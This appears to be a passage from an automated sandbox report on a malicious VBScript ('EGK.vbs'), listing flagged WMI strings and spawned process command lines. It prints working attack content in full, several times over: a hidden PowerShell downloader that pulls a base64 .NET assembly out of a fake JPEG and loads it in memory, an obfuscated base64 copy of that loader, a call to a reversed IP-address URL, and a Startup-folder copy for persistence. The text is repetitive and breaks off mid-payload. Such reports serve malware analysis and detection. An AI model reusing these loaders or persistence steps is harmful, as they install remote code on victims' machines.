AddXmlNodeEntry(xmlDoc, "Switch", null, objRoot, objSwitch) Call AddXmlNodeEntry(xmlDoc, "Name", switch.Name, objSwitch, objSwitchName) Call AddXmlNodeEntry(xmlDoc, "FriendlyName", switch.ElementName, objSwitch, objSwitchFriendlyName) strQuery = "Select * from MSVM_VirtualEthernetSwitchSettingData WHERE VirtualSystemIdentifier='" + switch.Name + "'" Set switchSetting = objVirtualizationService.ExecQuery (strQuery).ItemIndex(0) switchReservationMode = reservationMode(switchSetting.BandwidthReservationMode) iovPreferred = switchSetting.IOVPreferred ' Bandwidth info Call AddXmlNodeEntry(xmlDoc, "SwitchBandwidth", nu" (Indicator: "winmgmts:"; in File: "EGK.vbs.bin") Found string "Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")" (Indicator: "root\cimv2"; in File: "EGK.vbs.bin") Found string "Set objReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_" (Indicator: "winmgmts:"; in File: "EGK.vbs.bin") Found string "Set objWmiService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")" (Indicator: "root\cimv2"; in File: "EGK.vbs.bin") Found string "Set objCimService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")" (Indicator: "root\cimv2"; in File: "EGK.vbs.bin") Found string "Set objVirtualizationService = GetObject("winmgmts:\\" & strComputer & "\root\virtualization\v2")" (Indicator: "winmgmts:"; in File: "EGK.vbs.bin")5b:T406,Process "powershell.exe" with commandline "-windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<>';$endFlag = '<>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ('txt.912jhe/lt/761.161.651.49//:ptth');$method.Invoke($null, $arguments)"" (UID: 00000000-00001464)5c:T139a,"-command $Codigo = 'J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#VQBy#@$#Gw#@$#I#@$##@$#9#@$#C#@$##@$#JwBo#@$#HQ#@$#d#@$#Bw#@$#HM#@$#Og#@$#v#@$#C8#@$#dQBw#@$#Gw#@$#bwBh#@$#GQ#@$#Z#@$#Bl#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBu#@$#HM#@$#LgBj#@$#G8#@$#bQ#@$#u#@$#GI#@$#cg#@$#v#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBz#@$#C8#@$#M#@$##@$#w#@$#DQ#@$#Lw#@$#1#@$#DY#@$#Mw#@$#v#@$#DY#@$#Mg#@$#x#@$#C8#@$#bwBy#@$#Gk#@$#ZwBp#@$#G4#@$#YQBs#@$#C8#@$#dQBu#@$#Gk#@$#dgBl#@$#HI#@$#cwBv#@$#F8#@$#dgBi#@$#HM#@$#LgBq#@$#H#@$##@$#ZQBn#@$#D8#@$#MQ#@$#2#@$#Dk#@$#M#@$##@$#5#@$#DM#@$#MQ#@$#4#@$#DU#@$#NQ#@$#n#@$#Ds#@$#J#@$#B3#@$#GU#@$#YgBD#@$#Gw#@$#aQBl#@$#G4#@$#d#@$##@$#g#@$#D0#@$#I#@$#BO#@$#GU#@$#dw#@$#t#@$#E8#@$#YgBq#@$#GU#@$#YwB0#@$#C#@$##@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBO#@$#GU#@$#d#@$##@$#u#@$#Fc#@$#ZQBi#@$#EM#@$#b#@$#Bp#@$#GU#@$#bgB0#@$#Ds#@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#QgB5#@$#HQ#@$#ZQBz#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#dwBl#@$#GI#@$#QwBs#@$#Gk#@$#ZQBu#@$#HQ#@$#LgBE#@$#G8#@$#dwBu#@$#Gw#@$#bwBh#@$#GQ#@$#R#@$#Bh#@$#HQ#@$#YQ#@$#o#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#FU#@$#cgBs#@$#Ck#@$#Ow#@$#k#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBU#@$#GU#@$#e#@$#B0#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBU#@$#GU#@$#e#@$#B0#@$#C4#@$#RQBu#@$#GM#@$#bwBk#@$#Gk#@$#bgBn#@$#F0#@$#Og#@$#6#@$#FU#@$#V#@$#BG#@$#Dg#@$#LgBH#@$#GU#@$#d#@$#BT#@$#HQ#@$#cgBp#@$#G4#@$#Zw#@$#o#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#EI#@$#eQB0#@$#GU#@$#cw#@$#p#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#g#@$#D0#@$#I#@$##@$#n#@$#Dw#@$#P#@$#BC#@$#EE#@$#UwBF#@$#DY#@$#N#@$#Bf#@$#FM#@$#V#@$#BB#@$#FI#@$#V#@$##@$#+#@$#D4#@$#Jw#@$#7#@$#CQ#@$#ZQBu#@$#GQ#@$#RgBs#@$#GE#@$#Zw#@$#g#@$#D0#@$#I#@$##@$#n#@$#Dw#@$#P#@$#BC#@$#EE#@$#UwBF#@$#DY#@$#N#@$#Bf#@$#EU#@$#TgBE#@$#D4#@$#Pg#@$#n#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#FQ#@$#ZQB4#@$#HQ#@$#LgBJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#TwBm#@$#Cg#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#p#@$#Ds#@$#J#@$#Bl#@$#G4#@$#Z#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#V#@$#Bl#@$#Hg#@$#d#@$##@$#u#@$#Ek#@$#bgBk#@$#GU#@$#e#@$#BP#@$#GY#@$#K#@$##@$#k#@$#GU#@$#bgBk#@$#EY#@$#b#@$#Bh#@$#Gc#@$#KQ#@$#7#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#ZwBl#@$#C#@$##@$#M#@$##@$#g#@$#C0#@$#YQBu#@$#GQ#@$#I#@$##@$#k#@$#GU#@$#bgBk#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#ZwB0#@$#C#@$##@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#C#@$##@$#Kw#@$#9#@$#C#@$##@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#u#@$#Ew#@$#ZQBu#@$#Gc#@$#d#@$#Bo#@$#Ds#@$#J#@$#Bi#@$#GE#@$#cwBl#@$#DY#@$#N#@$#BM#@$#GU#@$#bgBn#@$#HQ#@$#a#@$##@$#g#@$#D0#@$#I#@$##@$#k#@$#GU#@$#bgBk#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#I#@$##@$#k#@$#HM#@$#d#@$#Bh#@$#HI#@$#d#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#Ow#@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#EM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#V#@$#Bl#@$#Hg#@$#d#@$##@$#u#@$#FM#@$#dQBi#@$#HM#@$#d#@$#By#@$#Gk#@$#bgBn#@$#Cg#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#Cw#@$#I#@$##@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#Ew#@$#ZQBu#@$#Gc#@$#d#@$#Bo#@$#Ck#@$#Ow#@$#k#@$#GM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#QgB5#@$#HQ#@$#ZQBz#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBD#@$#G8#@$#bgB2#@$#GU#@$#cgB0#@$#F0#@$#Og#@$#6#@$#EY#@$#cgBv#@$#G0#@$#QgBh#@$#HM#@$#ZQ#@$#2#@$#DQ#@$#UwB0#@$#HI#@$#aQBu#@$#Gc#@$#K#@$##@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#EM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#KQ#@$#7#@$#CQ#@$#b#@$#Bv#@$#GE#@$#Z#@$#Bl#@$#GQ#@$#QQBz#@$#HM#@$#ZQBt#@$#GI#@$#b#@$#B5#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBS#@$#GU#@$#ZgBs#@$#GU#@$#YwB0#@$#Gk#@$#bwBu#@$#C4#@$#QQBz#@$#HM#@$#ZQBt#@$#GI#@$#b#@$#B5#@$#F0#@$#Og#@$#6#@$#Ew#@$#bwBh#@$#GQ#@$#K#@$##@$#k#@$#GM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#QgB5#@$#HQ#@$#ZQBz#@$#Ck#@$#Ow#@$#k#@$#HQ#@$#eQBw#@$#GU#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bs#@$#G8#@$#YQBk#@$#GU#@$#Z#@$#BB#@$#HM#@$#cwBl#@$#G0#@$#YgBs#@$#Hk#@$#LgBH#@$#GU#@$#d#@$#BU#@$#Hk#@$#c#@$#Bl#@$#Cg#@$#JwBG#@$#Gk#@$#YgBl#@$#HI#@$#LgBI#@$#G8#@$#bQBl#@$#Cc#@$#KQ#@$#7#@$#CQ#@$#bQBl#@$#HQ#@$#a#@$#Bv#@$#GQ#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#B0#@$#Hk#@$#c#@$#Bl#@$#C4#@$#RwBl#@$#HQ#@$#TQBl#@$#HQ#@$#a#@$#Bv#@$#GQ#@$#K#@$##@$#n#@$#FY#@$#QQBJ#@$#Cc#@$#KQ#@$#7#@$#CQ#@$#YQBy#@$#Gc#@$#dQBt#@$#GU#@$#bgB0#@$#HM#@$#I#@$##@$#9#@$#C#@$##@$#L#@$##@$#o#@$#Cc#@$#d#@$#B4#@$#HQ#@$#Lg#@$#5#@$#DE#@$#MgBq#@$#Gg#@$#ZQ#@$#v#@$#Gw#@$#d#@$##@$#v#@$#Dc#@$#Ng#@$#x#@$#C4#@$#MQ#@$#2#@$#DE#@$#Lg#@$#2#@$#DU#@$#MQ#@$#u#@$#DQ#@$#OQ#@$#v#@$#C8#@$#OgBw#@$#HQ#@$#d#@$#Bo#@$#Cc#@$#KQ#@$#7#@$#CQ#@$#bQBl#@$#HQ#@$#a#@$#Bv#@$#GQ#@$#LgBJ#@$#G4#@$#dgBv#@$#Gs#@$#ZQ#@$#o#@$#CQ#@$#bgB1#@$#Gw#@$#b#@$##@$#s#@$#C#@$##@$#J#@$#Bh#@$#HI#@$#ZwB1#@$#G0#@$#ZQBu#@$#HQ#@$#cw#@$#p#@$##@$#==';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('#@$#','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD" on 2023-8-14.13:20:13.5145d:T1b1f,Spawned process "WScript.exe" with commandline ""C:\\EGK.vbs"" (UID: 00000000-00001268) Spawned process "cmd.exe" with commandline "/c ping 127.0.0.1 -n 5 & cmd.exe /c "powershell -command [System.IO.File]::Copy('C:\\EGK.vbs','%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ LD.vbs')"" (UID: 00000000-00000424) Spawned process "PING.EXE" with commandline "ping 127.0.0.1 -n 5" (UID: 00000000-00003872) Spawned process "cmd.exe" with commandline "/c "powershell -command [System.IO.File]::Copy('C:\\EGK.vbs','%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ LD.vbs')"" (UID: 00000000-00002896) Spawned process "powershell.exe" with commandline "powershell -command [System.IO.File]::Copy('C:\\EGK.vbs','%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ LD.vbs')" (UID: 00000000-00002792) Spawned process "powershell.exe" with commandline "-command $Codigo = 'J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#VQBy#@$#Gw#@$#I#@$##@$#9#@$#C#@$##@$#JwBo#@$#HQ#@$#d#@$#Bw#@$#HM#@$#Og#@$#v#@$#C8#@$#dQBw#@$#Gw#@$#bwBh#@$#GQ#@$#Z#@$#Bl#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBu#@$#HM#@$#LgBj#@$#G8#@$#bQ#@$#u#@$#GI#@$#cg#@$#v#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBz#@$#C8#@$#M#@$##@$#w#@$#DQ#@$#Lw#@$#1#@$#DY#@$#Mw#@$#v#@$#DY#@$#Mg#@$#x#@$#C8#@$#bwBy#@$#Gk#@$#ZwBp#@$#G4#@$#YQBs#@$#C8#@$#dQBu#@$#Gk#@$#dgBl#@$#HI#@$#cwBv#@$#F8#@$#dgBi#@$#HM#@$#LgBq#@$#H#@$##@$#ZQBn#@$#D8#@$#MQ#@$#2#@$#Dk#@$#M#@$##@$#5#@$#DM#@$#MQ#@$#4#@$#DU#@$#NQ#@$#n#@$#Ds#@$#J#@$#B3#@$#GU#@$#YgBD#@$#Gw#@$#aQBl#@$#G4#@$#d#@$##@$#g#@$#D0#@$#I#@$#BO#@$#GU#@$#dw#@$#t#@$#E8#@$#YgBq#@$#GU#@$#YwB0#@$#C#@$##@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBO#@$#GU#@$#d#@$##@$#u#@$#Fc#@$#ZQBi#@$#EM#@$#b#@$#Bp#@$#GU#@$#bgB0#@$#Ds#@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#QgB5#@$#HQ#@$#ZQBz#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#dwBl#@$#GI#@$#QwBs#@$#Gk#@$#ZQBu#@$#HQ#@$#LgBE#@$#G8#@$#dwBu#@$#Gw#@$#bwBh#@$#GQ#@$#R#@$#Bh#@$#HQ#@$#YQ#@$#o#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#FU#@$#cgBs#@$#Ck#@$#Ow#@$#k#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBU#@$#GU#@$#e#@$#B0#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBU#@$#GU#@$#e#@$#B0#@$#C4#@$#RQBu#@$#GM#@$#bwBk#@$#Gk#@$#bgBn#@$#F0#@$#Og#@$#6#@$#FU#@$#V#@$#BG#@$#Dg#@$#LgBH#@$#GU#@$#d#@$#BT#@$#HQ#@$#cgBp#@$#G4#@$#Zw#@$#o#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#EI#@$#eQB0#@$#GU#@$#cw#@$#p#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#g#@$#D0#@$#I#@$##@$#n#@$#Dw#@$#P#@$#BC#@$#EE#@$#UwBF#@$#DY#@$#N#@$#Bf#@$#FM#@$#V#@$#BB#@$#FI#@$#V#@$##@$#+#@$#D4#@$#Jw#@$#7#@$#CQ#@$#ZQBu#@$#GQ#@$#RgBs#@$#GE#@$#Zw#@$#g#@$#D0#@$#I#@$##@$#n#@$#Dw#@$#P#@$#BC#@$#EE#@$#UwBF#@$#DY#@$#N#@$#Bf#@$#EU#@$#TgBE#@$#D4#@$#Pg#@$#n#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#FQ#@$#ZQB4#@$#HQ#@$#LgBJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#TwBm#@$#Cg#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#p#@$#Ds#@$#J#@$#Bl#@$#G4#@$#Z#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#V#@$#Bl#@$#Hg#@$#d#@$##@$#u#@$#Ek#@$#bgBk#@$#GU#@$#e#@$#BP#@$#GY#@$#K#@$##@$#k#@$#GU#@$#bgBk#@$#EY#@$#b#@$#Bh#@$#Gc#@$#KQ#@$#7#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#ZwBl#@$#C#@$##@$#M#@$##@$#g#@$#C0#@$#YQBu#@$#GQ#@$#I#@$##@$#k#@$#GU#@$#bgBk#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#ZwB0#@$#C#@$##@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#C#@$##@$#Kw#@$#9#@$#C#@$##@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#u#@$#Ew#@$#ZQBu#@$#Gc#@$#d#@$#Bo#@$#Ds#@$#J#@$#Bi#@$#GE#@$#cwBl#@$#DY#@$#N#@$#BM#@$#GU#@$#bgBn#@$#HQ#@$#a#@$##@$#g#@$#D0#@$#I#@$##@$#k#@$#GU#@$#bgBk#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#I#@$##@$#k#@$#HM#@$#d#@$#Bh#@$#HI#@$#d#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#Ow#@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#EM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#V#@$#Bl#@$#Hg#@$#d#@$##@$#u#@$#FM#@$#dQBi#@$#HM#@$#d#@$#By#@$#Gk#@$#bgBn#@$#Cg#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#Cw#@$#I#@$##@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#Ew#@$#ZQBu#@$#Gc#@$#d#@$#Bo#@$#Ck#@$#Ow#@$#k#@$#GM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#QgB5#@$#HQ#@$#ZQBz#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBD#@$#G8#@$#bgB2#@$#GU#@$#cgB0#@$#F0#@$#Og#@$#6#@$#EY#@$#cgBv#@$#G0#@$#QgBh#@$#HM#@$#ZQ#@$#2#@$#DQ#@$#UwB0#@$#HI#@$#aQBu#@$#Gc#@$#K#@$##@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#EM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#KQ#@$#7#@$#CQ#@$#b#@$#Bv#@$#GE#@$#Z#@$#Bl#@$#GQ#@$#QQBz#@$#HM#@$#ZQBt#@$#GI#@$#b#@$#B5#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBS#@$#GU#@$#ZgBs#@$#GU#@$#YwB0#@$#Gk#@$#bwBu#@$#C4#@$#QQBz#@$#HM#@$#ZQBt#@$#GI#@$#b#@$#B5#@$#F0#@$#Og#@$#6#@$#Ew#@$#bwBh#@$#GQ#@$#K#@$##@$#k#@$#GM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#QgB5#@$#HQ#@$#ZQBz#@$#Ck#@$#Ow#@$#k#@$#HQ#@$#eQBw#@$#GU#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bs#@$#G8#@$#YQBk#@$#GU#@$#Z#@$#BB#@$#HM#@$#cwBl#@$#G0#@$#YgBs#@$#Hk#@$#LgBH#@$#GU#@$#d#@$#BU#@$#Hk#@$#c#@$#Bl#@$#Cg#@$#JwBG#@$#Gk#@$#YgBl#@$#HI#@$#LgBI#@$#G8#@$#bQBl#@$#Cc#@$#KQ#@$#7#@$#CQ#@$#bQBl#@$#HQ#@$#a#@$#Bv#@$#GQ#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#B0#@$#Hk#@$#c#@$#Bl#@$#C4#@$#RwBl#@$#HQ#@$#TQBl#@$#HQ#@$#a#@$#Bv#@$#GQ#@$#K#@$##@$#n#@$#FY#@$#QQBJ#@$#Cc#@$#KQ#@$#7#@$#CQ#@$#YQBy#@$#Gc#@$#dQBt#@$#GU#@$#bgB0#@$#HM#@$#I#@$##@$#9#@$#C#@$##@$#L#@$##@$#o#@$#Cc#@$#d#@$#B4#@$#HQ#@$#Lg#@$#5#@$#DE#@$#MgBq#@$#Gg#@$#ZQ#@$#v#@$#Gw#@$#d#@$##@$#v#@$#Dc#@$#Ng#@$#x#@$#C4#@$#MQ#@$#2#@$#DE#@$#Lg#@$#2#@$#DU#@$#MQ#@$#u#@$#DQ#@$#OQ#@$#v#@$#C8#@$#OgBw#@$#HQ#@$#d#@$#Bo#@$#Cc#@$#KQ#@$#7#@$#CQ#@$#bQBl#@$#HQ#@$#a#@$#Bv#@$#GQ#@$#LgBJ#@$#G4#@$#dgBv#@$#Gs#@$#ZQ#@$#o#@$#CQ#@$#bgB1#@$#Gw#@$#b#@$##@$#s#@$#C#@$##@$#J#@$#Bh#@$#HI#@$#ZwB1#@$#G0#@$#ZQBu#@$#HQ#@$#cw#@$#p#@$##@$#==';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('#@$#','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD" (UID: 00000000-00003372) Spawned process "powershell.exe" with commandline "-windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<>';$endFlag = '<>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ('txt.912jhe/lt/761.161.651.49//:ptth');$method.Invoke($null, $arguments)"" (UID: 00000000-00001464)5e:T137e,-command $Codigo = 'J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#VQBy#@$#Gw#@$#I#@$##@$#9#@$#C#@$##@$#JwBo#@$#HQ#@$#d#@$#Bw#@$#HM#@$#Og#@$#v#@$#C8#@$#dQBw#@$#Gw#@$#bwBh#@$#GQ#@$#Z#@$#Bl#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBu#@$#HM#@$#LgBj#@$#G8#@$#bQ#@$#u#@$#GI#@$#cg#@$#v#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBz#@$#C8#@$#M#@$##@$#w#@$#DQ#@$#Lw#@$#1#@$#DY#@$#Mw#@$#v#@$#DY#@$#Mg#@$#x#@$#C8#@$#bwBy#@$#Gk#@$#ZwBp#@$#G4#@$#YQBs#@$#C8#@$#dQBu#@$#Gk#@$#dgBl#@$#HI#@$#cwBv#@$#F8#@$#dgBi#@$#HM#@$#LgBq#@$#H#@$##@$#ZQBn#@$#D8#@$#MQ#@$#2#@$#Dk#@$#M#@$##@$#5#@$#DM#@$#MQ#@$#4#@$#DU#@$#NQ#@$#n#@$#Ds#@$#J#@$#B3#@$#GU#@$#YgBD#@$#Gw#@$#aQBl#@$#G4#@$#d#@$##@$#g#@$#D0#@$#I#@$#BO#@$#GU#@$#dw#@$#t#@$#E8#@$#YgBq#@$#GU#@$#YwB0#@$#C#@$##@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBO#@$#GU#@$#d#@$##@$#u#@$#Fc#@$#ZQBi#@$#EM#@$#b#@$#Bp#@$#GU#@$#bgB0#@$#Ds#@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#QgB5#@$#HQ#@$#ZQBz#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#dwBl#@$#GI#@$#QwBs#@$#Gk#@$#ZQBu#@$#HQ#@$#LgBE#@$#G8#@$#dwBu#@$#Gw#@$#bwBh#@$#GQ#@$#R#@$#Bh#@$#HQ#@$#YQ#@$#o#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#FU#@$#cgBs#@$#Ck#@$#Ow#@$#k#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBU#@$#GU#@$#e#@$#B0#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBU#@$#GU#@$#e#@$#B0#@$#C4#@$#RQBu#@$#GM#@$#bwBk#@$#Gk#@$#bgBn#@$#F0#@$#Og#@$#6#@$#FU#@$#V#@$#BG#@$#Dg#@$#LgBH#@$#GU#@$#d#@$#BT#@$#HQ#@$#cgBp#@$#G4#@$#Zw#@$#o#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#EI#@$#eQB0#@$#GU#@$#cw#@$#p#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#g#@$#D0#@$#I#@$##@$#n#@$#Dw#@$#P#@$#BC#@$#EE#@$#UwBF#@$#DY#@$#N#@$#Bf#@$#FM#@$#V#@$#BB#@$#FI#@$#V#@$##@$#+#@$#D4#@$#Jw#@$#7#@$#CQ#@$#ZQBu#@$#GQ#@$#RgBs#@$#GE#@$#Zw#@$#g#@$#D0#@$#I#@$##@$#n#@$#Dw#@$#P#@$#BC#@$#EE#@$#UwBF#@$#DY#@$#N#@$#Bf#@$#EU#@$#TgBE#@$#D4#@$#Pg#@$#n#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#FQ#@$#ZQB4#@$#HQ#@$#LgBJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#TwBm#@$#Cg#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#p#@$#Ds#@$#J#@$#Bl#@$#G4#@$#Z#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#V#@$#Bl#@$#Hg#@$#d#@$##@$#u#@$#Ek#@$#bgBk#@$#GU#@$#e#@$#BP#@$#GY#@$#K#@$##@$#k#@$#GU#@$#bgBk#@$#EY#@$#b#@$#Bh#@$#Gc#@$#KQ#@$#7#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#ZwBl#@$#C#@$##@$#M#@$##@$#g#@$#C0#@$#YQBu#@$#GQ#@$#I#@$##@$#k#@$#GU#@$#bgBk#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#ZwB0#@$#C#@$##@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#C#@$##@$#Kw#@$#9#@$#C#@$##@$#J#@$#Bz#@$#HQ#@$#Y